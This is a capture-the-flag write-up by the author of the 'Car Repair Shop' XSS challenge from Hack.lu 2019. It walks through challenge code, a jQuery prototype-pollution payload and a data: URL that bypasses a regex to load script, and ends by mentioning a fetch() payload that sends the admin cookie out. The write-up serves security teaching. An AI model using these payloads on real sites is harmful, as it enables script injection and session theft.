Description#
Your Car broke down?! Come to our shop, we repair all cars! Even very old ones.
Enter the Shop
Challenge Source
New Github Demo
Solution#
Car Repair Shop is a classic XSS challenge I created for the Hack.lu 2019 CTF. Looking at the static HTML code you find jQuery and two custom scripts. One defines a car class:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
| class Car {
constructor(type, model, color, pic, key="") {
this.type = type
this.model = model
this.color = color
this.key = key
this.pic = pic
let started = false
this.start = () => {
started = true
}
this.isStarted = () => {
return started
}
}
powerOn() {
if (this.isStarted()) {
infobox(`Well Done!`)
nextCar()
} else {
$('.chargeup')[0].play()
}
}
info() {
infobox(`This car is a ${this.type} ${this.model} in ${this.color}. It looks very nice! But it seems to be broken ...`)
}
repair() {
if(urlParams.has('repair')) {
$.extend(true, this, JSON.parse(urlParams.get('repair')))
}
}
light() {
infobox(`You turn on the lights ... Nothing happens.`)
}
battery() {
infobox(`Hmmm, the battery is almost empty ... Maybe i can repair this somehow.`)
}
ignition() {
if (this.key == "") {
infobox(`Looks like the key got lost. No wonder the car is not starting ...`)
}
if (this.key == "๐") {
infobox(`The car started!`)
this.start()
}
}
}
|
In the challenge, you are supposed to fix the cars and in the end, get javascript execution. After analyzing the code you find that you can call jquery extend
with your input. The jQuery version used in this challenge is still vulnerable to Prototype Pollution. With it you can set the key and bypass the md5 check for the second car: toString
will return lol
because the object inherits from the array class now and toString
returns the value of the first element.
1
| {"key":"๐","__proto__":{"__proto__":["lol"]}
|
Now you are able to call repairWithHelper()
:
1
2
3
4
5
6
7
8
9
| const repairWithHelper = (src) => {
/* who needs csp anyways !? */
urlRegx = /^\w{4,5}:\/\/kunte0\.github\.io\/[\w\d]+\/.+\.js$/
if (urlRegx.test(src)) {
let s = document.createElement('script')
s.src = src
$('head').append(s)
}
}
|
At first glance, the regex looks safe but it is not. You can craft a data-URL that will bypass the regex and execute js like so:
1
| data://kunte0.github.io/CarRepairShop/,alert(1337)//.js
|
Final exploit:
alert(1337)
Finally, you have to write a fetch()
payload that sends the admin cookie to your server. Done!
Hopefully, you enjoyed working on this challenge ๐. If you found a different solution pm me on Twitter.